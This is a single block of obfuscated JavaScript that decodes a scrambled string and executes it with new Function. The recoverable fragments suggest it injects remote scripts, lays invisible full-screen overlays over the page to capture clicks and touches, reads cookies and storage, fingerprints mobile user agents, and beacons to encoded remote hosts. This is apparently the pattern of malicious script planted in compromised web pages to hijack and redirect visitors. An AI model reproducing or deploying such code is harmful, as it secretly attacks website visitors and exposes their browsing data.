wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();